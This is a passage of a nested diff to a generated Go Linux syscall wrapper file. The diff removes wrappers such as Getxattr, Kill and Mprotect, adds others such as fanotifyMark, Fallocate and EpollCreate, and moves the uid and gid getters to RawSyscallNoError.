-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1244,8 +24,8 @@ func Syncfs(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1265,62 +45,8 @@ func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1329,8 +55,9 @@ func Unshare(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1339,46 +66,14 @@ func Ustat(dev int, ubuf *Ustat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func write(fd int, p []byte) (n int, err error) {
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-+ r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1388,135 +83,8 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_FADVISE64, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1556,7 +124,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1564,7 +132,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1572,7 +140,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1590,7 +158,7 @@ func Getrlimit(resource int, rlim *Rlimit) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1666,9 +234,18 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Seek(fd int, offset int64, whence int) (off int64, err error) {
-- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-- off = int64(r0)
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
